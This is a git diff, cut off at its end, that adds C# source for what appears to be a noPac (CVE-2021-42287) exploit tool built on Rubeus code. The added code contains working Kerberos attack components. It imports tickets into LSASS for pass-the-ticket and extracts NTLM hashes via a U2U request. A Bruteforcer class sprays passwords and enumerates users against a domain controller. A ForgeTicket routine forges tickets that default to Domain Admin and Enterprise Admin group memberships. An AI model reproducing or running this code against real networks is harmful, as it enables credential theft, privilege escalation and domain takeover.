Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); + } + else if (etype == Interop.KERB_ETYPE.rc4_hmac) + { + // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 + outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); + } + else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) + { + // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 + outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); + } + else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 + outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); + } + else + { + throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported"); + } + + AsnElt ae = AsnElt.Decode(outBytes); + + EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + + // now build the final KRB-CRED structure + KRB_CRED cred = new KRB_CRED(); + + // add the ticket + cred.tickets.Add(rep.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart.key.keytype; + info.key.keyvalue = encRepPart.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart.realm; + + // [2] pname (user) + info.pname.name_type = rep.cname.name_type; + info.pname.name_string = rep.cname.name_string; + + // [3] flags + info.flags = encRepPart.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart.starttime; + + // [6] endtime + info.endtime = encRepPart.endtime; + + // [7] renew-till + info.renew_till = encRepPart.renew_till; + + // [8] srealm + info.srealm = encRepPart.realm; + + // [9] sname + info.sname.name_type = encRepPart.sname.name_type; + info.sname.name_string = encRepPart.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + if (verbose) + { + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + + if (false) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + } + + if (!String.IsNullOrEmpty(outfile)) + { + outfile = Helpers.MakeValidFileName(outfile); + if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) + { + if (verbose) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); + } + } + } + + if (ptt || ((ulong)luid != 0)) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, luid); + } + + if (describe) + { + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key); + } + + if (getCredentials) + { + Console.WriteLine("[*] Getting credentials using U2U\r\n"); + byte[] u2uBytes = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true); + byte[] u2uResponse = Networking.SendBytes(dcIP, 88, u2uBytes); + if (u2uResponse == null) + { + return null; + } + AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse); + + // check the response value + int responseTag = u2uResponseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + // parse the response to an TGS-REP and get the PAC + TGS_REP u2uRep = new TGS_REP(u2uResponseAsn); + EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key); + PACTYPE pt = u2uEncTicketPart.GetPac(key); + + // look for the credential information and print + foreach (var pacInfoBuffer in pt.PacInfoBuffers) + { + if (pacInfoBuffer is PacCredentialInfo ci) + { + + Console.WriteLine(" CredentialInfo :"); + Console.WriteLine(" Version : {0}", ci.Version); + Console.WriteLine(" EncryptionType : {0}", ci.EncryptionType); + + if (ci.CredentialInfo.HasValue) + { + + Console.WriteLine(" CredentialData :"); + Console.WriteLine(" CredentialCount : {0}", ci.CredentialInfo.Value.CredentialCount); + + foreach (var credData in ci.CredentialInfo.Value.Credentials) + { + string hash = ""; + if ("NTLM".Equals(credData.PackageName.ToString())) + { + int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0); + int flags = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4); + if (flags == 3) + { + hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); + } + else + { + hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); + } + } + else + { + hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials); + } + + Console.WriteLine(" {0} : {1}", credData.PackageName, hash); + } + + } + else + { + Console.WriteLine(" CredentialData : *** NO KEY ***"); + } + } + } + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + } + + return kirbiBytes; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Bruteforcer.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Bruteforcer.cs new file mode 100644 index 0000000..d19e1fd --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Bruteforcer.cs @@ -0,0 +1,177 @@ +using System; +using System.Collections.Generic; + +namespace Rubeus +{ + + public interface IBruteforcerReporter + { + void ReportValidPassword(string domain, string username, string password, byte[] ticket, Interop.KERBEROS_ERROR err = Interop.KERBEROS_ERROR.KDC_ERR_NONE); + void ReportValidUser(string domain, string username); + void ReportInvalidUser(string domain, string username); + void ReportBlockedUser(string domain, string username); + void ReportKrbError(string domain, string username, KRB_ERROR krbError); + } + + + public class Bruteforcer + { + + private string domain; + private string dc; + private IBruteforcerReporter reporter; + private Dictionary invalidUsers; + private Dictionary validUsers; + private Dictionary validCredentials; + + public Bruteforcer(string domain, string domainController, IBruteforcerReporter reporter) + { + this.domain = domain; + this.dc = domainController; + this.reporter = reporter; + this.invalidUsers = new Dictionary(); + this.validUsers = new Dictionary(); + this.validCredentials = new Dictionary(); + } + + public bool Attack(string[] usernames, string[] passwords) + { + bool success = false; + foreach (string password in passwords) + { + foreach (string username in usernames) + { + if(this.TestUsernamePassword(username, password)) + { + success = true; + } + } + } + + return success; + } + + private bool TestUsernamePassword(string username, string password) + { + try + { + if (!invalidUsers.ContainsKey(username) && !validCredentials.ContainsKey(username)) + { + this.GetUsernamePasswordTGT(username, password); + return true; + } + } + catch (KerberosErrorException ex) + { + return this.HandleKerberosError(ex, username, password); + } + + return false; + } + + private void GetUsernamePasswordTGT(string username, string password) + { + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + string salt = String.Format("{0}{1}", domain.ToUpper(), username); + + // special case for computer account salts + if (username.EndsWith("$")) + { + salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), username.TrimEnd('$').ToLower(), domain.ToLower()); + } + + string hash = Crypto.KerberosPasswordHash(encType, password, salt); + + AS_REQ unpwAsReq = AS_REQ.NewASReq(username, domain, hash, encType); + + byte[] TGT = Ask.InnerTGT(unpwAsReq, encType, null, false, this.dc); + + this.ReportValidPassword(username, password, TGT); + } + + private bool HandleKerberosError(KerberosErrorException ex, string username, string password) + { + + + KRB_ERROR krbError = ex.krbError; + bool ret = false; + + switch ((Interop.KERBEROS_ERROR)krbError.error_code) + { + case Interop.KERBEROS_ERROR.KDC_ERR_PREAUTH_FAILED: + this.ReportValidUser(username); + break; + case Interop.KERBEROS_ERROR.KDC_ERR_C_PRINCIPAL_UNKNOWN: + this.ReportInvalidUser(username); + break; + case Interop.KERBEROS_ERROR.KDC_ERR_CLIENT_REVOKED: + this.ReportBlockedUser(username); + break; + case Interop.KERBEROS_ERROR.KDC_ERR_ETYPE_NOTSUPP: + this.ReportInvalidEncryptionType(username, krbError); + break; + case Interop.KERBEROS_ERROR.KDC_ERR_KEY_EXPIRED: + this.ReportValidPassword(username, password, null, (Interop.KERBEROS_ERROR)krbError.error_code); + ret = true; + break; + default: + this.ReportKrbError(username, krbError); + throw ex; + } + return ret; + } + + private void ReportValidPassword(string username, string password, byte[] ticket, Interop.KERBEROS_ERROR err = Interop.KERBEROS_ERROR.KDC_ERR_NONE) + { + + validCredentials.Add(username, password); + if (!validUsers.ContainsKey(username)) + { + validUsers.Add(username, true); + } + this.reporter.ReportValidPassword(this.domain, username, password, ticket, err); + } + + private void ReportValidUser(string username) + { + if (!validUsers.ContainsKey(username)) + { + validUsers.Add(username, true); + this.reporter.ReportValidUser(this.domain, username); + } + } + + private void ReportInvalidUser(string username) + { + if (!invalidUsers.ContainsKey(username)) + { + invalidUsers.Add(username, true); + this.reporter.ReportInvalidUser(this.domain, username); + } + } + + private void ReportBlockedUser(string username) + { + if (!invalidUsers.ContainsKey(username)) + { + invalidUsers.Add(username, true); + this.reporter.ReportBlockedUser(this.domain, username); + } + } + + private void ReportInvalidEncryptionType(string username, KRB_ERROR krbError) + { + if (!invalidUsers.ContainsKey(username)) + { + invalidUsers.Add(username, true); + this.ReportKrbError(username, krbError); + } + } + + private void ReportKrbError(string username, KRB_ERROR krbError) + { + this.reporter.ReportKrbError(this.domain, username, krbError); + } + + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ConsoleTable.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ConsoleTable.cs new file mode 100644 index 0000000..a2ec82a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ConsoleTable.cs @@ -0,0 +1,157 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Text.RegularExpressions; + +// Copyright (c) 2013 Khalid Abuhakmeh, The MIT License (MIT) +// Source: https://github.com/khalidabuhakmeh/ConsoleTables + +// Changes: +// Restricted values to strings +// Removed divider from between each row +// Removed additional formatting logic + +namespace ConsoleTables +{ + public class ConsoleTable + { + public IList Columns { get; set; } + public IList Rows { get; protected set; } + + public ConsoleTableOptions Options { get; protected set; } + + public ConsoleTable(params string[] columns) + :this(new ConsoleTableOptions { Columns = new List(columns) }) + { + } + + public ConsoleTable(ConsoleTableOptions options) + { + Options = options; + Rows = new List(); + Columns = new List(options.Columns); + } + + public ConsoleTable AddColumn(IEnumerable names) + { + foreach (var name in names) + Columns.Add(name); + return this; + } + + public ConsoleTable AddRow(params string[] values) + { + if (values == null) + throw new ArgumentNullException(nameof(values)); + + if (!Columns.Any()) + throw new Exception("Please set the columns first"); + + if (Columns.Count != values.Length) + throw new Exception( + $"The number columns in the row ({Columns.Count}) does not match the values ({values.Length}"); + + Rows.Add(values); + return this; + } + + public override string ToString() + { + var builder = new StringBuilder(); + + // find the longest column by searching each row + var columnLengths = ColumnLengths(); + + // create the string format with padding + var format = Enumerable.Range(0, Columns.Count) + .Select(i => " | {" + i + ",-" + columnLengths[i] + "}") + .Aggregate((s, a) => s + a) + " |"; + + // find the longest formatted line + var maxRowLength = Math.Max(0, Rows.Any() ? Rows.Max(row => string.Format(format, row).Length) : 0); + var columnHeaders = string.Format(format, Columns.ToArray()); + + // longest line is greater of formatted columnHeader and longest row + var longestLine = Math.Max(maxRowLength, columnHeaders.Length); + + // add each row + var results = Rows.Select(row => string.Format(format, row)).ToList(); + + // create the divider + var divider = String.Format(" {0} ", new String('-', longestLine - 1)); + + builder.AppendLine(divider); + builder.AppendLine(columnHeaders); + builder.AppendLine(divider); + + foreach (var row in results) + { + //builder.AppendLine(divider); + builder.AppendLine(row); + } + + builder.AppendLine(divider); + + return builder.ToString(); + } + + private string Format(List columnLengths, char delimiter = '|') + { + var delimiterStr = delimiter == char.MinValue ? string.Empty : delimiter.ToString(); + var format = (Enumerable.Range(0, Columns.Count) + .Select(i => " "+ delimiterStr + " {" + i + ",-" + columnLengths[i] + "}") + .Aggregate((s, a) => s + a) + " " + delimiterStr).Trim(); + return format; + } + + private List ColumnLengths() + { + var columnLengths = Columns + .Select((t, i) => Rows.Select(x => x[i]) + .Union(new[] { Columns[i] }) + .Where(x => x != null) + .Select(x => x.ToString().Length).Max()) + .ToList(); + return columnLengths; + } + + public void Write(Format format = ConsoleTables.Format.Default) + { + switch (format) + { + case ConsoleTables.Format.Default: + Console.WriteLine(ToString()); + break; + + default: + throw new ArgumentOutOfRangeException(nameof(format), format, null); + } + } + + private static IEnumerable GetColumns() + { + return typeof(T).GetProperties().Select(x => x.Name).ToArray(); + } + + private static object GetColumnValue(object target, string column) + { + return typeof(T).GetProperty(column).GetValue(target, null); + } + } + + public class ConsoleTableOptions + { + public IEnumerable Columns { get; set; } = new List(); + public bool EnableCount { get; set; } = true; + } + + public enum Format + { + Default = 0, + MarkDown = 1, + Alternative = 2, + Minimal = 3 + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Crypto.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Crypto.cs new file mode 100644 index 0000000..290a825 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Crypto.cs @@ -0,0 +1,197 @@ +using System; +using System.Linq; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.ComponentModel; + +namespace Rubeus +{ + public class Crypto + { + public static void ComputeAllKerberosPasswordHashes(string password, string userName = "", string domainName = "") + { + // use KerberosPasswordHash() to calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes for a given password + + Console.WriteLine("[*] Input password : {0}", password); + + string salt = String.Format("{0}{1}", domainName.ToUpper(), userName); + + // special case for computer account salts + if (userName.EndsWith("$")) + { + salt = String.Format("{0}host{1}.{2}", domainName.ToUpper(), userName.TrimEnd('$').ToLower(), domainName.ToLower()); + } + + if (!String.IsNullOrEmpty(userName) && !String.IsNullOrEmpty(domainName)) + { + Console.WriteLine("[*] Input username : {0}", userName); + Console.WriteLine("[*] Input domain : {0}", domainName); + Console.WriteLine("[*] Salt : {0}", salt); + } + + string rc4Hash = KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password); + Console.WriteLine("[*] rc4_hmac : {0}", rc4Hash); + + if (String.IsNullOrEmpty(userName) || String.IsNullOrEmpty(domainName)) + { + Console.WriteLine("\r\n[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!"); + } + else + { + string aes128Hash = KerberosPasswordHash(Interop.KERB_ETYPE.aes128_cts_hmac_sha1, password, salt); + Console.WriteLine("[*] aes128_cts_hmac_sha1 : {0}", aes128Hash); + + string aes256Hash = KerberosPasswordHash(Interop.KERB_ETYPE.aes256_cts_hmac_sha1, password, salt); + Console.WriteLine("[*] aes256_cts_hmac_sha1 : {0}", aes256Hash); + + string desHash = KerberosPasswordHash(Interop.KERB_ETYPE.des_cbc_md5, String.Format("{0}{1}", password, salt), salt); + Console.WriteLine("[*] des_cbc_md5 : {0}", desHash); + } + + Console.WriteLine(); + } + + public static string KerberosPasswordHash(Interop.KERB_ETYPE etype, string password, string salt = "", int count = 4096) + { + // use the internal KERB_ECRYPT HashPassword() function to calculate a password hash of a given etype + // adapted from @gentilkiwi's Mimikatz "kerberos::hash" implementation + + Interop.KERB_ECRYPT pCSystem; + IntPtr pCSystemPtr; + + // locate the crypto system for the hash type we want + int status = Interop.CDLocateCSystem(etype, out pCSystemPtr); + + pCSystem = (Interop.KERB_ECRYPT)System.Runtime.InteropServices.Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); + if (status != 0) + throw new System.ComponentModel.Win32Exception(status, "Error on CDLocateCSystem"); + + // get the delegate for the password hash function + Interop.KERB_ECRYPT_HashPassword pCSystemHashPassword = (Interop.KERB_ECRYPT_HashPassword)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(pCSystem.HashPassword, typeof(Interop.KERB_ECRYPT_HashPassword)); + Interop.UNICODE_STRING passwordUnicode = new Interop.UNICODE_STRING(password); + Interop.UNICODE_STRING saltUnicode = new Interop.UNICODE_STRING(salt); + + byte[] output = new byte[pCSystem.KeySize]; + + int success = pCSystemHashPassword(passwordUnicode, saltUnicode, count, output); + + if (status != 0) + throw new Win32Exception(status); + + return System.BitConverter.ToString(output).Replace("-", ""); + } + + // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin" + public static byte[] KerberosChecksum(byte[] key, byte[] data, Interop.KERB_CHECKSUM_ALGORITHM cksumType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5, int keyUsage = Interop.KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT) + { + Interop.KERB_CHECKSUM pCheckSum; + IntPtr pCheckSumPtr; + int status = Interop.CDLocateCheckSum(cksumType, out pCheckSumPtr); + pCheckSum = (Interop.KERB_CHECKSUM)Marshal.PtrToStructure(pCheckSumPtr, typeof(Interop.KERB_CHECKSUM)); + if (status != 0) + { + throw new Win32Exception(status, "CDLocateCheckSum failed"); + } + + IntPtr Context; + Interop.KERB_CHECKSUM_InitializeEx pCheckSumInitializeEx = (Interop.KERB_CHECKSUM_InitializeEx)Marshal.GetDelegateForFunctionPointer(pCheckSum.InitializeEx, typeof(Interop.KERB_CHECKSUM_InitializeEx)); + Interop.KERB_CHECKSUM_Sum pCheckSumSum = (Interop.KERB_CHECKSUM_Sum)Marshal.GetDelegateForFunctionPointer(pCheckSum.Sum, typeof(Interop.KERB_CHECKSUM_Sum)); + Interop.KERB_CHECKSUM_Finalize pCheckSumFinalize = (Interop.KERB_CHECKSUM_Finalize)Marshal.GetDelegateForFunctionPointer(pCheckSum.Finalize, typeof(Interop.KERB_CHECKSUM_Finalize)); + Interop.KERB_CHECKSUM_Finish pCheckSumFinish = (Interop.KERB_CHECKSUM_Finish)Marshal.GetDelegateForFunctionPointer(pCheckSum.Finish, typeof(Interop.KERB_CHECKSUM_Finish)); + + // initialize the checksum + // KERB_NON_KERB_CKSUM_SALT = 17 + int status2 = pCheckSumInitializeEx(key, key.Length, (int)keyUsage, out Context); + if (status2 != 0) + throw new Win32Exception(status2); + + // the output buffer for the checksum data + byte[] checksumSrv = new byte[pCheckSum.Size]; + + // actually checksum all the supplied data + pCheckSumSum(Context, data.Length, data); + + // finish everything up + pCheckSumFinalize(Context, checksumSrv); + pCheckSumFinish(ref Context); + + return checksumSrv; + } + + // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin" + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2235-L2262 + public static byte[] KerberosDecrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data) + { + Interop.KERB_ECRYPT pCSystem; + IntPtr pCSystemPtr; + + // locate the crypto system + int status = Interop.CDLocateCSystem(eType, out pCSystemPtr); + pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); + if (status != 0) + throw new Win32Exception(status, "Error on CDLocateCSystem"); + + // initialize everything + IntPtr pContext; + Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize)); + Interop.KERB_ECRYPT_Decrypt pCSystemDecrypt = (Interop.KERB_ECRYPT_Decrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Decrypt, typeof(Interop.KERB_ECRYPT_Decrypt)); + Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish)); + status = pCSystemInitialize(key, key.Length, keyUsage, out pContext); + if (status != 0) + throw new Win32Exception(status); + + int outputSize = data.Length; + if (data.Length % pCSystem.BlockSize != 0) + outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize); + + string algName = Marshal.PtrToStringAuto(pCSystem.AlgName); + + outputSize += pCSystem.Size; + byte[] output = new byte[outputSize]; + + // actually perform the decryption + status = pCSystemDecrypt(pContext, data, data.Length, output, ref outputSize); + pCSystemFinish(ref pContext); + + return output.Take(outputSize).ToArray(); + } + + // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin" + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2235-L2262 + public static byte[] KerberosEncrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data) + { + Interop.KERB_ECRYPT pCSystem; + IntPtr pCSystemPtr; + + // locate the crypto system + int status = Interop.CDLocateCSystem(eType, out pCSystemPtr); + pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); + if (status != 0) + throw new Win32Exception(status, "Error on CDLocateCSystem"); + + // initialize everything + IntPtr pContext; + Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize)); + Interop.KERB_ECRYPT_Encrypt pCSystemEncrypt = (Interop.KERB_ECRYPT_Encrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Encrypt, typeof(Interop.KERB_ECRYPT_Encrypt)); + Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish)); + status = pCSystemInitialize(key, key.Length, keyUsage, out pContext); + if (status != 0) + throw new Win32Exception(status); + + int outputSize = data.Length; + if (data.Length % pCSystem.BlockSize != 0) + outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize); + + string algName = Marshal.PtrToStringAuto(pCSystem.AlgName); + + outputSize += pCSystem.Size; + byte[] output = new byte[outputSize]; + + // actually perform the decryption + status = pCSystemEncrypt(pContext, data, data.Length, output, ref outputSize); + pCSystemFinish(ref pContext); + + return output; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ForgeTicket.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ForgeTicket.cs new file mode 100644 index 0000000..5252ad1 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ForgeTicket.cs @@ -0,0 +1,1152 @@ +using System; +using System.Text; +using System.Security.Principal; +using System.Collections.Generic; +using System.Linq; +using System.Globalization; +using System.DirectoryServices; +using System.Text.RegularExpressions; +using Rubeus.lib.Interop; +using Rubeus.Kerberos.PAC; +using Rubeus.Kerberos; + +namespace Rubeus +{ + public class ForgeTickets + { + public static void ForgeTicket( + // always required arguments + string user, + string sname, + byte[] serviceKey, + Interop.KERB_ETYPE etype, + // krbtgt key information + byte[] krbKey = null, + Interop.KERB_CHECKSUM_ALGORITHM krbeType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, + // ldap information + bool ldap = false, + string ldapuser = null, + string ldappassword = null, + // domain and DC information + string sid = "", + string domain = "", + string netbiosName = "", + string domainController = "", + // ticket flags + Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent, + // ticket time information + DateTime? startTime = null, + DateTime? rangeEnd = null, + string rangeInterval = "1d", + DateTime? authTime = null, + string endTime = "", + string renewTill = "", + // other PAC fields + int? id = null, + string groups = "", + string sids = "", + string displayName = "", + short? logonCount = null, + short? badPwdCount = null, + DateTime? lastLogon = null, + DateTime? logoffTime = null, + DateTime? pwdLastSet = null, + int? maxPassAge = null, + int? minPassAge = null, + int? pGid = null, + string homeDir = "", + string homeDrive = "", + string profilePath = "", + string scriptPath = "", + string resourceGroupSid = "", + List resourceGroups = null, + Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT, + bool newPac = false, + // arguments to deal with resulting ticket(s) + string outfile = null, + bool ptt = false, + // print a command to rebuild the ticket(s) + bool printcmd = false, + // arguments for unusual tickets + string cName = null, + string cRealm = null, + string s4uProxyTarget = null, + string s4uTransitedServices = null, + bool includeAuthData = false + ) + { + // vars + int c = 0; + DateTime originalStartTime = (DateTime)startTime; + System.Net.NetworkCredential ldapCred = null; + int? origMinPassAge = minPassAge; + int? origMaxPassAge = maxPassAge; + + // initialise LogonInfo section and set defaults + var kvi = Ndr._KERB_VALIDATION_INFO.CreateDefault(); + kvi.EffectiveName = new Ndr._RPC_UNICODE_STRING(user); + kvi.FullName = new Ndr._RPC_UNICODE_STRING(""); + kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING(""); + kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING(""); + kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING(""); + kvi.LogonScript = new Ndr._RPC_UNICODE_STRING(""); + kvi.LogonServer = new Ndr._RPC_UNICODE_STRING(""); + kvi.UserSessionKey = Ndr._USER_SESSION_KEY.CreateDefault(); + kvi.LogonTime = new Ndr._FILETIME(((DateTime)startTime).AddSeconds(-1)); + kvi.LogoffTime = Ndr._FILETIME.CreateDefault(); + kvi.PasswordLastSet = Ndr._FILETIME.CreateDefault(); + kvi.KickOffTime = Ndr._FILETIME.CreateDefault(); + kvi.PasswordCanChange = Ndr._FILETIME.CreateDefault(); + kvi.PasswordMustChange = Ndr._FILETIME.CreateDefault(); + kvi.LogonCount = 0; + kvi.BadPasswordCount = 0; + kvi.UserId = 500; + kvi.PrimaryGroupId = 513; + if (string.IsNullOrEmpty(groups)) + { + kvi.GroupCount = 5; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[] { + new Ndr._GROUP_MEMBERSHIP(520, 0), + new Ndr._GROUP_MEMBERSHIP(512, 0), + new Ndr._GROUP_MEMBERSHIP(513, 0), + new Ndr._GROUP_MEMBERSHIP(519, 0), + new Ndr._GROUP_MEMBERSHIP(518, 0), + }; + } + kvi.UserAccountControl = (int)uac; + kvi.UserFlags = 0; + if (String.IsNullOrEmpty(sids)) + { + kvi.SidCount = 0; + kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[] { + new Ndr._KERB_SID_AND_ATTRIBUTES()}; + } + + // get network credential from ldapuser and ldappassword + if (!String.IsNullOrEmpty(ldapuser)) + { + // provide an alternate user to use for connection creds + if (!Regex.IsMatch(ldapuser, ".+\\.+", RegexOptions.IgnoreCase)) + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + + try + { + string[] ldapParts = ldapuser.Split('\\'); + string ldapDomainName = ldapParts[0]; + string ldapUserName = ldapParts[1]; + + ldapCred = new System.Net.NetworkCredential(ldapUserName, ldappassword, ldapDomainName); + } + catch + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + } + + + // determine domain if not supplied + string[] parts = sname.Split('/'); + if (String.IsNullOrEmpty(domain)) + { + if ((parts.Length > 1) && (parts[0] == "krbtgt")) + { + Console.WriteLine("[X] TGT or referral TGT requires /domain to be passed."); + return; + } + else if ((parts.Length == 1) && (sname.Split('@').Length == 1)) + { + Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or 'host@domain.com'."); + return; + } + else if (parts.Length > 1) + { + domain = parts[1].Substring(parts[1].IndexOf('.') + 1); + string[] domainParts = domain.Split(':'); + if (domainParts.Length > 1) + { + domain = domainParts[0]; + } + } + else if (sname.Split('@').Length > 1) + { + domain = sname.Split('@')[1]; + } + else + { + Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname); + return; + } + } + if (String.IsNullOrEmpty(netbiosName)) + { + kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING(domain.Substring(0, domain.IndexOf('.')).ToUpper()); + } + + // if /ldap was passed make the LDAP queries + if (ldap) + { + // try LDAPS and fail back to LDAP + List> ActiveDirectoryObjects = null; + bool ssl = true; + if (String.IsNullOrEmpty(domainController)) + { + domainController = Networking.GetDCName(domain); //if domain is null, this will try to find a DC in current user's domain + } + + Console.WriteLine("[*] Trying to query LDAP using LDAPS for user information on domain controller {0}", domainController); + ActiveDirectoryObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(samaccountname={0})", user), ssl); + if (ActiveDirectoryObjects == null) + { + Console.WriteLine("[!] LDAPS failed, retrying with plaintext LDAP."); + ssl = false; + ActiveDirectoryObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(samaccountname={0})", user), ssl); + } + if (ActiveDirectoryObjects == null) + { + Console.WriteLine("[X] Error LDAP query failed, unable to create ticket using LDAP."); + return; + } + + foreach (var userObject 